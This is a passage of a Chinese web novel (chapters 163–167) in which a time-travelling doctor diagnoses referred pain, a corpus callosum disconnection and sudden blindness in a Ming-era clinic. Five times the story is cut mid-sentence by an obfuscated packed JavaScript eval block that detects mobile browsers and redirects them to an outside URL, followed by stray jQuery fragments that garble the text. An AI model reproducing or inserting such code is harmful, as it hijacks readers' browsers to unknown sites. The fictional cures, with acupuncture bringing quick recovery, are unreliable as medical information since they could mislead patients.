他指向老人正在痛苦呻吟的左腿。“老先生真正出问题的地方,不是在这条‘好腿’的皮肉筋骨,而是在这里。”
他伸出食指,轻轻点了点自己的太阳穴位置。
所有家属的目光都跟着他的手指移动,脸上全是茫然。
“脑子?”汉子疑惑,“腿疼跟脑子有啥关系?”
“关系很大。”马淳耐心解释。“老先生当年右腿的重伤,对他身体的神经系统造成了巨大的冲击和改变,那条瘸腿里面的神经,功能紊乱或者停滞了很多年。
“这种长期的‘失职’,影响到了大脑,让大脑处理疼痛信号的部分,产生了错位,就像一个衙门乱了套,本该找张三的状纸,被错递到了李四家。”马
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15938463|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
淳用了一个易懂的比喻。
“您的意思是……”妇人似懂非懂。“我爹那条瘸腿的旧伤信号,乱套了,让我爹的脑子误以为是这条好腿在疼?”
“非常对!”马淳赞许道。“那条受伤腿,本该由它负责区域传递上去的信号,因为伤得太久,功能失常了,就像一条堵塞的河,水流不到大脑。大脑这个地方,长时间收不到这条腿的信号,就会变得异常‘敏感’。
“它会过度关注临近的区域。而邻近的区域,就是这条好腿负责上传感觉的神经通道。”
他指指左腿。
“久而久之,大脑可能就把原本属于那条坏腿的‘痛苦标记’,错误地、固执地放在了这条好腿对应的神经线上。
“其实左腿本身并没有问题。是坏腿那里沉寂多年、没能传达出去的信号,搅浑了大局,让大脑误以为‘好腿通道’正在传来剧烈的痛苦。
“所以老先生才会觉得,是他的好腿里面疼得钻心刺骨。这不是装的,这种痛苦感知,在他脑子里是极其真实的。”
医馆里安静下来。
家属们脸上的怀疑、不耐烦都消失了。
取而代之的是愕然、同情,还有一种恍然大悟的明了。
原来世上真有这般玄妙难解的怪病!
那被其他大夫反复质疑的“荒唐”痛苦,在马淳的解释下变得合理而令人扼腕。
“真是……真是奇了。”汉子喃喃道。
他看着父亲痛苦扭曲的脸,终于理解了那无法言说的绝望感。“那……那这……这神经错乱痛,咋治?能断根吗?”
“能缓解,需要时间和方法。”马淳说。“第一步,先减轻疼痛。让老先生能喘口气,睡个觉。”
他转身去取针。“我用针法先疏通相关经络,调和气血,让紧张的神经舒缓下来。同时辅以汤药,内服外敷都有,帮助消除淤滞,慢慢修复神经受损的部分。
“更重要的是,你们家属要理解。这不是忍忍就能过去的痛,要耐心,配合治疗。”
“明白!明白!我们一定配合!”汉子和其他家属连连点头。
眼神里再无半分怀疑,只有感激和希望……
第163章 胼胝体离断综合征
徐妙云她走到老人身边。“老人家,您听到了吗?马大夫找到您的病根了。会好的。”
她语气温柔。“先让马大夫给您扎针,不那么痛了,您就能歇歇了。”
老人浑浊的眼睛看着徐妙云。
又缓缓转向正在准备银针的马淳,眼泪无声地从眼角滑落。
这十天半月来的百口莫辩和绝望,终于得到了理解。
他喉咙里发出嗬嗬的声响,像是在道谢。
马淳取出了细长的银针,针尖泛着冷峻而安定的微光。“放松,老先生。针入时稍有蚊叮感,入体后便是温通之感,会减轻您的疼痛。”
老人的家属屏住了呼吸。
马淳手指如电,精准落针。
先是在老人颈部、肩部几个特定穴位施针。
接着是腰、臀。
最后,出乎家属意料,他竟然也在老人那条毫无知觉的、早已瘫痪的右腿上刺入了两根毫针。
针入很慢。
捻转提插的手法却带着一种奇特的韵律。
老人的身体先是微颤。
紧接着,紧锁的眉头竟缓缓松开了!
呻吟声也变得微弱断续。
那因剧痛而扭曲的面容,一点点归于平静。
眼皮沉重地耷拉下去,仅仅盏茶功夫,老人竟发出了轻微的鼾声!沉沉地睡着了!
“老天爷!”汉子捂住了嘴。
那抹泪的妇人更是难以置信地瞪大了眼。
两个少年也是目瞪口呆,折磨了爷爷这么多天的可怕疼痛,竟被几根银针轻易化解了!
“真……真睡着了?”汉子声音都在抖。
“真的不疼了?”妇人捂着嘴,喜极而泣。
马淳收针的动作也轻缓下来,他示意大家噤声,将最后一根针小心取出,“好了。让他好好睡一觉,这至少能顶几个时辰。待会儿我开药方,外敷的药要常换。内服的汤药按时喝。
“记住,别让那条腿凉着或者用力。也别总念叨他‘疼不疼’。”马淳叮嘱道。“精神的放松对这个病很重要。”
“哎!哎!记下了!全记下了!”汉子激动地点头。
看着熟睡中脸色平静的老父。
这位饱受精神与身体双重折磨的老人,十几天来第一次睡得如此安稳。
“马大夫,您真是活神仙呐!不是您,我爹他……”汉子说着说着,眼圈又红了。“我们真是……”
他话没说完,但这感激,马淳心领了。
“抬老人家回家吧。轻点,让他睡。”马淳交代。
“拿好药方去抓药。”徐妙云已经把写好的药方递了过去。
家属们交完了诊金,小心翼翼地将熟睡的老人抬上带来的门板,千恩万谢地离开了医馆。
【叮!救治怪腿病患者1名,奖励积分10点!】
马淳对这狗系统已经无话可说了。
这么难的病,他居然只给10点。
要不是最近这段时间,他频繁进宫给朱雄英复诊,然后去曹国公、颖国公府复诊,赚取了将近一万的积分,他都该骂娘了。
医馆重归宁静,徐妙云走过来,收拾着用过的银针,“这病听着就揪心,幸好你认得,不然这老人家不知要遭多少冤屈。”
马淳轻叹口气。“神经痛本就易被误解,何况是这种特殊的错位痛。世人不知,反误为诈。
“有些真相,藏在表象之后,需要用心去看。就像他那条瘸腿,表面死寂,内里却搅动着另一条腿的风暴。”
徐妙云点点头,若有所思。
正欲说什么医馆门外又是一阵熟悉的、沉稳有序的脚步声传来。
抬头望去,是太医院张院判的身影。
“国公爷,国公夫人,哈哈……我老张又来蹭学了。”
老头倒是很可爱,没有年轮歧视,很喜欢折节来马淳这里‘偷师’。
马淳也不在意,并不是敝帚自珍,当然除了系统不能给他看,其他的都可以。
他刚想开口,外面就有病人过来。
只见几个穿着工部匠人服饰的汉子,正小心翼翼地将一个年轻男子抬到医馆。
那男子约莫二十多岁,体格粗壮,该是力工。但他神情惊恐,眼神涣散。
“马大夫……您……您
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15938464|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
快给瞧瞧吧!”一个年长些的匠人声音发抖,“小五子他……他整个人都不对了!”
马淳转身,“他怎么了?何处不适?”
那躺在床上的男子王小五似乎想说话,却先费力地张了张嘴,发不出清晰的声音。他使劲地想抬起右手指向自己的头。
然而,抬起来的,却是左手!
同时,他仿佛要配合着说话般想点头,脖子却僵硬地歪向左边。
这动作极不协调,看着十分怪异。
那抬他来的匠人老王赶紧补充:“就是乱!马大夫,他自己都说不清了!就早上还好好的,吃午饭时,勺子都拿不稳了。
“想去水缸边舀水洗把脸,结果您猜怎么着?心里想迈右脚,左腿就跨出去了!想伸右手抹脸,左手就抬起来乱挥!这……这不是撞邪了吗?”
他越说越急,脸上满是担忧。
周围其他几个匠人也七嘴八舌地附和:“对对对!就是同手同脚!别扭得像个提线木偶!想站站不稳,想坐坐不下,自己还急得直哭!”
王小五听了同伴们的描述,似乎更委屈了,喉咙里呜咽了一声,想动右手辩解,结果左手又猛地抬了一下,差点打到自己下巴。
马淳没有立刻下结论。他眼神沉静,走到王小五床边。“王小五?看着我。”
王小五努力转动眼珠,看向马淳。
“你现在能不能说说,自己哪里觉得不舒服?或者,你想做什么动作,但身体不听使唤?”马淳声音温和。
王小五像是抓住了救命稻草。
他眼中含泪,努力从喉咙里挤出几个含混的音节:“乱……心想的……不……手不听……脚也不听……想右……左动……”
马淳点点头:“好,我明白了。你意思是,你脑子里想动右边的手脚,但控制不住,左边的就动了,是不是?”
王小五用力眨了下眼睛,表示确认。
这确认的动作却又显得有点过头,像是脸皮也抽了一下。
张太医行医几十年也没遇到过这样的怪病,当即充当起了学徒,在边上看着……
第164章神经错乱跟中了邪是一样的
“别急,放松。”马淳温声道。
他需要检查了。“别想着用力,躺着就好。”
马淳开始仔细检查。
他先观察王小五的面部表情,眼神活动是否灵活。
然后用手指轻轻捏了捏他的脸颊肌肉。
接着,检查他的四肢关节是否僵硬肿胀。
又测试了他的触觉反应,捏捏他的胳膊腿,问他疼不疼,在哪里疼。
王小五虽然动作混乱,但触觉似乎是正常的。
然后,马淳开始了关键测试,“王小五,现在我让你做什么,你就尽量去做。不要担心做不到,尽力就好。听清了,抬起你的右手。”
王小五眼神专注,抿着嘴,能感觉到他浑身用力。
只见他的肩膀微动,脖子歪得更厉害,最终颤颤巍巍抬起来的,依旧是左手!
他沮丧地呜咽了一声。
马淳不动声色:“好。现在,抬左脚。”
这次,王小五用力得脸都憋红了,憋出一个“左”字的音,可最终抬离床铺的,却是右脚!
“换一侧,”马淳继续,“现在,抬起右手。”
结果与第一次一样,王小五努力的结果,依然只是抬起了左手。
他烦躁地想用“右手”拍床板,结果又是左手在床板上拍了一下。
旁边看着的老王等匠人,脸上忧色更重。
连张太医也不由自主地向前一步,紧锁眉头看着这闻所未闻的状况。
马淳检查完毕,直起身。王小五和他工友们紧张又期待地看向他。
老王忍不住问:“马大夫……小五子这……到底是不是中了邪风?还是得了啥怪病?您能瞧出是哪儿坏了吗?”
王小五也眼巴巴地看着马淳。
马淳神色平静,缓缓摇头。“不是邪风,也不是鬼神。他这病,根子在脑子里。”
一句“脑子里”,让众人更是倒吸一口凉气,心都提到了嗓子眼。张太医也不自觉地“啊”了一声,显然对这个答案感到意外。
“脑子里?”老王声音发颤,“脑子……脑子坏了?这……这可如何是好?”
王小五眼中的光瞬间黯淡下去,充满了惊恐。
“别怕,”马淳的语气依旧沉稳,带着医者的笃定,“不是你们想的那样‘坏’了。是掌管指挥手脚行动的‘路径’出了点岔子。”
在现代这种病叫做——胼胝体离断综合征。
胼胝体离断综合征的核心特征是双侧大脑半球信息传递中断,主要表现为运动协调障碍(失用、步态异常)、认知功能下降(记忆、注意力)及情绪行为异常。
看着众人懵懂又惊惧的眼神,马淳知道需要解释清楚。
他伸手指了指自己的头颅两侧。“人的脑子,分左右两个半球。就像……嗯,就像一个大衙门里,分了左右两个负责不同区域事务的官署。”
这个比喻让匠人们似乎理解了一点。
“我们右手右脚,主要归左边的官署管。左手左脚呢,归右边的官署管。”马淳继续。
他指了指王小五:“他这条从右半身向脑子、又从脑子指挥右半身来回的‘路线’出了问题。”
“怎么回事?”老王追问。
马淳解释道:“这条来回的路,它中间有一段叫‘桥梁’的东西,或者说一条重要的‘官道’。”
他做了一个双手交叉在胸前的姿势。“指挥右手右脚的信息,需要从左侧官署发出命令,经过这道‘桥梁’,去到身体右边。反过来,右半身的感受要传回脑子,也得经过这道‘桥’,交回给左边管事的地方。”
“现在,就是这道‘桥梁’,可能‘断’了,或者暂时被‘阻断’了,不通畅了!”
张太医听到这里,眼睛蓦然睁大,似乎捕捉到了一丝关键的医学概念,若有所思。
老王更懵了:“桥断了?那……那会怎样?”
“正是他表现出来的样子!”马淳指着王小五,“现在他的左半脑——管右边身体的官署,它发出的命令传不过去了!就像传令兵跑不过桥,命令丢在半路上!”
“那他右边的手脚自然不听左边官署的使唤。”他顿了顿,“可是,他右半身的感觉是正常的,因为感觉走的是另外的小路,可能没断透,还能传回一点。”
这时王小五似乎急于印证,呜呜地想点头,结果又歪了脖子。
“更麻烦的是,”马淳接着说,“他右半身的官署无法正常接收命令,但它自身的区域
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15938465|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
控制功能可能还在!这时,如果病人自己非常努力想要控制右半身……”
马淳看向王小五:“他越是焦急,脑子里越是集中意志想去控制右半身,这份强烈的意志刺激反而可能会‘泄露’过去一部分,或者刺激到右边官署本身的功能区。”
“可右边的官署是管左半身的!”马淳指着王小五刚刚无意识抬起的左手左腿。
“结果就是,”马淳加重了语气,清晰地概括,“他越想用力控制右半身动作,左边的身体反而跟着‘活跃’起来,做出动作!甚至把原本无意识想做的细微动作,变成了明显的‘同步’或者‘镜像’乱动!他看着就变成了‘同手同脚’、‘想右动左’,整个人乱套了!”
这一番深入浅出的解释下来,老王等人恍恍惚惚,似懂非懂。
但“脑子中间的路不通”、“乱发布命令”、“越用力越控制错边”
张太医眼中则是精光闪动,显然这个关于“脑中通路”的解释极大地开拓了他的认知。
“马大夫……那这桥断了还能接上吗?这病还有治吗?”老王的声音带着绝望中的一丝希冀。王小五也死死盯着马淳,大气不敢出。
“能治!”马淳没有丝毫犹豫,语气斩钉截铁。
“首先,这阻断多半是暂时的!原因可能是脑中供这‘桥梁’路段运行的一小片区域,突然气血不通了,有了淤阻或淤血,就像路被一小段泥石流堵了,但路本身没塌方!只要及时疏通,路就能恢复通畅。”
“需要多久才能好?”老王紧张地问。
“别急,”马淳安抚道,“只要处理得当,大多数病人能恢复得很好。有些几天,有些几周,需要耐心。”
张太医忍不住插话请教:“国公爷,如此精微之处,您是如何探查判断的?”
“望闻问切,细察征象。”马淳简单回答,“如他这般‘意愿性动作’(想动右边结果左边动)与‘镜像动作’(比如想举手右臂不动左臂却举起)如此典型的,再加上言语表达稍困顿,却无肢体乏力麻木,无头痛眩晕,便可知病在要害通路,而非广泛脑损。”
张太医听得极其认真,如饥似渴地记下这些观察要点……
第165章屁股疼一般是腰出了问题!!
“那……那该怎么治啊马大夫?”王小五终于嘶哑着憋出了一句完整的话。
“治要分两步走。”马淳对王小五温和一笑,随即正色道。
“第一步,也是最重要的一步,就是要让那段‘桥路’的淤堵尽快疏通开!让气血通流,淤滞自消。”他看向张太医,“这和我今晨所言的陛下需防血脉淤塞,理同而症异,需打通关键节点。”
张太医深以为然,连连点头。
“第二步,通过导引和药物,帮助重建被阻断的通路功能,让其更快恢复指挥协调。”
“那用什么药?”老王赶紧问。
马淳迅速走向药柜。“我先给他施针,刺激头颈部相关穴位,促使气血上行,开窍通络。同时,需要一副强力活血清瘀、通脉化堵的汤药,助他打通那条关键‘桥梁’!”
他又转头对徐妙云道:“夫人,取那套稍长的针来。”
徐妙云点头,立刻去拿。
马淳配好药包,交给老王去煎煮。回来时,徐妙云已经备好了银针和消毒用具。
马淳让王小五尽量放松躺好。即使放松,他身体仍不时会不受控地轻微抽搐一下。
马淳凝神静气,手指稳定如磐石。他先精准地在王小五头顶百会穴落下一针。
随后是风府穴、风池穴,这些掌管头颈部气血运转的大穴。接着是肩颈处的大椎穴、肩井穴,刺激下行通路。
每一针都捻转得极有分寸。马淳全神贯注,仿佛在用意念引导无形的气脉流转。
王小五起初紧张地闭着眼。几针之后,他眉间的纠结似乎舒缓了一点点。
马淳继续下针,选取了他头针疗法中对应脑部运动协调区域的几个点。
又在他健侧(左侧)的手足相关穴位各刺一针。针法稳健平和。
整个诊室鸦雀无声,只有王小五有些粗重的呼吸声。
大约过了一炷香时间,马淳才将针一一缓缓退出。收针时,王小五长长地、无意识地舒了一口气。
“现在感觉如何?”马淳温声问。
王小五慢慢睁开眼,眼神似乎比之前清明了一点点。他看着马淳,努力地尝试了一下。这次,他想抬右手的手指(不再是整个手),虽然手指颤动,反应慢,但——动的是右手食指!没有引发左手乱动!
虽然仅仅只是一个小小的手指动作,但那动作的方向是对了!
“马大夫……好像……没那么乱了……”王小五的声音依旧沙哑,却带着一丝难以置信的激动和哽咽。
老王和其他匠人眼睛都直了!这才多大会功夫!神医!这简直是神技!
张太医在一旁看得眼中异彩连连,若不是顾忌场合,几乎要抚掌赞叹。
“很好。”马淳点点头,面上并无得意,只有严谨,“这只是开始。药力针效相合,效果才最好。你待会儿喝下汤药,务必卧床静养几日!不可情绪激动,不可胡思乱想。后续还需再行针数次。安心休养,定能恢复如常!”
王小五的眼眶瞬间湿润,想点头说感谢,脖子倒没刚才歪得那么厉害了。
“谢……谢谢马大夫……”他哽咽着说。
“好生休养便是。”马淳嘱咐老王,“这药一天一剂,连用七天。三天后带他再来复诊。”
老王等人千恩万谢,小心翼翼地扶着王小五离开。
王小五的动作虽然依旧笨拙迟缓,透着僵硬,但那股“乱动”的感觉似乎被什么无形的力量约束住了。
张太医这才上前一步,脸上带着深深的敬佩。
“国公爷医术通神,窥人体奥秘至此等精微地步,下官……唯有叹服!”
过了几天清静日子,医馆门口又响起急促的脚步声。
一个中年汉子满头是汗地搀着个妇人。
妇人脸色蜡黄,额头布满虚汗,走路姿势古怪,几乎是半靠半挂在汉子身上,每一步都透着煎熬。
“马大夫!马大夫救命啊!”汉子声音嘶哑,“我娘子这疼……快把她疼**!”
徐妙云立刻上前帮忙扶人。
妇人被小心安置在诊床上,一沾床板就发出一声压抑不住的痛吟。
她用手死死地捂住左臀靠下的位置,身体不由自主地蜷缩。
“这儿疼?”马淳走近,轻声问。
妇人吃力地点点头,“对……就这儿,火烧一样,针扎似的……”
她喘了口气,声音虚弱:“还串到腿后边去了……整条腿都麻溜溜的……”
汉子在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15938466|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一旁急急补充:“大夫,她这疼不是一天两天了!在句容看了快半年!银子花了不老少,药罐子都熬破了几个!都说她是‘坐板疮’,‘股痈’,按着治屁股的法子治,可就是不见好!”
汉子脸上满是愁苦和不解:“扎针、拔罐、贴膏药……通通不管用!疼起来饭都吃不下,觉也睡不了。”
马淳蹲下身,仔细观察妇人捂着的部位:“把手拿开,我看看那地方。”
妇人咬牙移开手。
马淳轻轻按了按她所指的左臀区域。
皮肤温度正常,没有红肿,没有硬块。
按压时妇人的表情并没有明显加剧的痛苦,反倒有些茫然。
“这里压痛明显吗?”马淳问。
妇人迟疑一下:“也……也不是特别明显。但就这一块感觉特别疼!像里面烂了似的!”
马淳又仔细摸了摸那处的肌肉和骨骼结构,触感并无特异。
他眉头微皱,示意妇人侧躺:“趴着看看。”
徐妙云帮忙扶着妇人慢慢趴好。
马淳的目光并未停留在那所谓“烂了似的”左臀肉上。
他伸出双手拇指,沿着妇人后腰正中脊椎两旁,缓缓地、自上而下用力按压过去。
先是在腰部正中两侧偏上的位置。
“啊!”按压到某处,妇人身体猛地一抽,发出一声短促的痛呼,“疼!就这儿!”
她叫唤的位置,赫然在腰脊旁边!
比她自己一直强调的臀部位置高了一大截!
马淳的手指精准地定位在她喊痛的那个腰点。
他拇指用了些力,稳稳按在那腰椎骨旁侧。
“啊!!!对对对!就这儿!太疼了!!!”妇人瞬间弓起腰,脸都白了。
这痛感远比之前强太多!
马淳收回手,妇人瘫软在床上,大口喘气。
他又让妇人翻回侧躺。
手指按向妇人描述疼痛蔓延到的那条腿的膝盖下方。
轻轻敲击了几下膝盖腱。
妇人的小腿反射性地弹跳了一下。
“麻!敲这儿整条腿更麻了!”妇人立刻叫道。
马淳收回小叩诊锤,看向汉子:“咳嗽几声试试。”
汉子虽不明白,还是照做了……
第166章摔了一下背,眼睛却瞎了!
“咳!咳!”随着汉子咳嗽带来的震动,趴在床上的妇人也跟着身体微震。
她痛苦地吸了口气:“咦?腿……腿后面那股麻溜溜的感觉,又蹿了一下!”
马淳心中了然。
他直起身,对一脸紧张的汉子说:“你媳妇这疼,不在屁股上。”
“啥?”汉子愣住了,“可……可她就指着屁股那块说疼得钻心啊!”
妇人自己也是一脸惊愕。
马淳指向刚才按压时妇人痛得叫出声的腰椎位置:“根子在这儿。这节腰骨有问题。这里的骨缝没对好,挤着旁边的筋了。这条筋管着屁股的感觉,也管着这条腿。”
马淳点了点妇人痛麻的左腿。“它被挤着了,传错信号。它一喊疼,你媳妇就觉得是它管的那片地方在疼。所以屁股疼是假象,真疼的是腰里的筋。
“腰上这条筋被挤疼了,就乱叫唤,让你媳妇的脑瓜子误以为疼的是屁股和腿。”
汉子听得张大了嘴,似懂非懂。
妇人眼里却燃起一丝微弱的希望:“那……那能治吗?”
马淳点点头:“能缓解。但根源在腰骨挤住筋,先要让筋松快下来。”
他转身去药柜取东西。
很快拿了一个热气腾腾的布包回来。
“先趴好。”马淳把热布包小心地放在妇人刚才按压剧痛的腰椎那一点上。
“哎呦呦……”妇人被烫得龇牙咧嘴,却又感觉一股暖流缓缓渗入。
“忍着点热。这是通络散。要热敷,让这片僵硬的筋脉气血活动开。”
徐妙云帮忙固定住布包。
马淳走到桌子前坐下,提笔开方。
一边写一边说:“之前的药不是不对症,是没打到痛根上。总盯着她屁股那块,自然治不好。”
汉子脸上露出一种被点醒又有些懊恼的表情。
马淳方子写得很快。“这方子以通经活络为主,温养为辅。里面的几味主药,如鸡血藤、延胡索、地龙、威灵仙,走窜经络能力强,专走督脉膀胱经区域,对付你媳妇这种腰上压迫了筋络的疼。
“配了杜仲、狗脊温补肾阳,固护腰府根本。再加些通草、赤芍活血化瘀。”
他放下笔,吹干墨迹,递给汉子:“回去大火煎透,早晚温服。那筋络被压迫日久,本身也受损了,药力起效需时日不是三两剂就能好利索的,得坚持服上一阵子。
“另外那热敷的草药包,每日敷两回,每次一刻钟。要像今天这样烫,但又不能烫伤皮肉。敷完不可受寒。”
汉子双手接过药方,如获至宝,连声道谢。
妇人趴在床上,热布包的暖意持续渗透腰后,那火烧针刺般的“屁股疼”似乎被暖流融开,虽然没全好,但似乎真的没那么尖锐难熬了。
她微微侧过头,泪眼婆娑地看向马淳:“谢……谢谢大夫……”
马淳摆摆手,示意汉子去抓药。
看着汉子小心翼翼扶着脸色依旧苍白,但眼中有了点神采的妇人慢慢离开医馆。
徐妙云轻轻舒了口气:“这妇人被这跑偏了的疼,折磨太久了。”
马淳看着门口消失的背影:“是啊。筋错了位,脑子就信了。有时候喊声最大的,未必是那个真正挨打的。”
……
这一天,天还没亮呢,门口突然传来惊恐的呼喊!
“马大夫!马大夫救命啊!”
一个黝黑汉子背着个人,旋风般冲进来。
后面跟着哭哭啼啼的妇人和半大孩子。
汉子把人小心放在诊床上,是个四十岁上下的男子。
他双眼圆睁,眼神空洞,直勾勾对着屋顶。
“他咋了?”马淳放下药材,快步上前查看。
徐妙云也立刻收好针线,过来帮忙。
“是俺哥!”汉子喘着粗气,汗水从额角滚落,“昨……昨儿个给人上房铺毡子!不小心踩塌了檐口,从丈把高的地方摔下来!可……可当时人没事啊!”
汉子急得声音都劈了:“就背上沾了点灰!手脚没事,脑袋也没磕着碰着!自个儿还拍着胸脯说不碍事,晚饭都吃了三碗!可……可今早!今早天蒙蒙亮,他就嚷嚷起来……”
床上的男子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15938467|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
喉头滚动,发出沙哑惊恐的声音:“俺瞎了!眼前乌漆嘛黑!啥也看不见了!马大夫!俺瞎了!”
“您快给瞅瞅!”汉子几乎要跪下,“好好的一个人,摔一跤就瞎了!这算哪门子邪门事啊!”
马淳眉头微蹙。
他俯身靠近病床上的男人。“你叫啥名字?昨儿摔下来,身上确实没觉着疼?”
“俺……俺叫李大福……”李大福声音抖得厉害,“真……真不疼!就后背着地时闷了一下。当时眼冒了点金星,缓口气就没了。可今早起来……就……就啥也看不见了!跟晚上睡迷瞪了那会儿都不一样!是彻……彻底的乌黑啊!”
他越说越绝望,手在空中乱抓。
马淳拿出小手电筒——在旁人眼里就是个精巧的铜灯。
他凑近李大福的双眼,仔细检查。
他先看了右眼。
瞳孔对强光照没半点反应,眼珠一动不动。
他换了左眼,情况一样。
清澈的眼白,漆黑的瞳仁,都还好好地在那里。
可它们就像两颗黑石子,失去了应有的光彩与灵动。
李大福连光感都近乎没有。
“李大福,你闭一下眼,再睁开。”马淳平静地说。
李大福依言做了,眼皮能灵活开合。
马淳伸出三根手指,在他眼前左右缓慢晃动:“现在,能看见一点点影子晃过去吗?分得清大概方向不?”
李大福侧耳听了听动静,使劲瞪大眼睛,茫然地摇头:“没有……啥也没有……连点光影子都感觉不着……”
马淳又用指腹,极轻柔地按压了李大福眼眶四周和太阳穴位置:“这里呢?疼不疼?”
李大福还是摇头:“不疼……都不疼……就跟没摔过一样……”
“当时摔下来,是怎么落地的?”马淳追问细节。
“后背……就脊梁骨靠上那块,硌了一下!”李大福努力回忆,“震得脑袋嗡一声,眼前冒了会儿花,很快就没事了。俺还想老天爷保佑,摔得巧哩!”
检查做完了,马淳面色凝重……
第167章骨头没事!视觉神经被摔懵了!
徐妙云轻声问:“夫君,李大伯这是?”
马淳没有立刻回答。
他看向急得直搓手的汉子:“你哥这病,怪是怪了点。根子怕不在眼睛上。”
“啥?”汉子一家都懵了。
不瞎在眼睛上,那瞎在哪儿?
“李大福摔那一下,没磕着头皮,没伤着眼珠。看着没啥事。”马淳解释,“但他摔落时,那股巨大的冲击力,是透骨而入,震进去的。”
李大福和家属都屏住了呼吸。
“这股子震荡之力,”马淳指着自己后颈、脊椎最上端的位置,“顺着后背脊柱往上冲,最后震到了眼窍!”
“啥窍?”汉子不明白。
“你可以把它想成……”马淳尽量通俗,“眼睛后头连着两根特别要紧的线!这两根线特别细嫩,包在这层脊骨里面,平时护得严实。它们是把眼睛看到的景象,通给脑子里那个管‘看东西’的地方的!就像两股极其重要的线。”
他指了指李大福的后颈上方:“他摔下来,背那下撞得狠了。里头脊骨可能只是微微一错,没坏没裂。看着没事。但那股子冲劲,却像一股巨力狠狠震在了那两根负责传‘眼睛景象’的细线上!”
李大福仿佛明白了一点,嘴微微张开。
“线被震伤了!甚至可能震断了!”马淳语气严肃,“所以眼睛本身好好的,瞳仁能动,没出血没破损。可眼睛看到的东西,通过这两根受伤的线传不过去了!脑子那个管‘看东西’的地方,就收不到消息。所以李大福眼前就是一片漆黑。不是他眼睛坏了,是中间传信的路不通了!”
“哦——!”汉子恍然大悟,用力拍了下额头,“原来是这么个瞎法!不是眼珠子烂了,是后头通消息的‘筋’给震坏了!是这个意思不,马大夫?”
“对!就是这个意思!”马淳点头,“管视觉的通路断了。就像断了线的纸鸢,风筝还在天上飘着,可人牵不住线,看不见它在哪了。”
“那……那这条线断了,还能接上不?俺哥这瞎……还有救吗?”汉子和妇人的心又提到嗓子眼。
“不好说。”马淳没有给肯定的希望,“这线太精细。伤到什么程度,能否长回来,都要看运气。外力震荡太重,若是震得寸寸断裂,怕是……难如登天。”
李大福的脸瞬间灰败下去。
“但也可能只是剧烈震荡导致这线暂时晕厥。只是临时闭了关窍。如同遭了大风,房梁没倒,屋里人却给震懵了。”马淳话锋一转,“还有一丝可能!”
“啥可能?马大夫您快说!”汉子急切地问。
“时间短!发现得够早!”马淳强调,“昨天出事到今天来找我,中间隔了一夜。这时间不算太晚!就还有一丝逆转的机会!”
他走向存放特殊器械的药柜,“事不宜迟!现在必须强行叩开这被震懵了的关卡!看能不能唤醒那两条线!”
他示意徐妙云过来,声音压低了些:“妙云,今日这症候,要争分夺秒。你看我如何下力。”
这是让她仔细观摩关键时刻的应对。
徐妙云立刻站到马淳身侧靠后一点的位置,眼神专注。
马淳拿出的是一套比平日所用略粗长些的金针。
他凝神静气,示意李大福坐起一些,家人在旁稳住他。
“有点疼,忍住。”马淳提醒一声。随后,他那稳定得可怕的手,便捻动长针,精准刺入李大福后发际线正下方风府穴稍偏的位置。针入不深,但捻转手法极为强劲。
李大福身体猛地绷紧,牙缝里嘶嘶吸着冷气:“呃啊……有……有股劲儿!往里钻!”
马淳不理他,全神贯注。
第二针快速刺入旁边稍下的一个点(相当于风池与夹脊之间的特殊点位)。
紧接着第三针,直刺项后大椎。
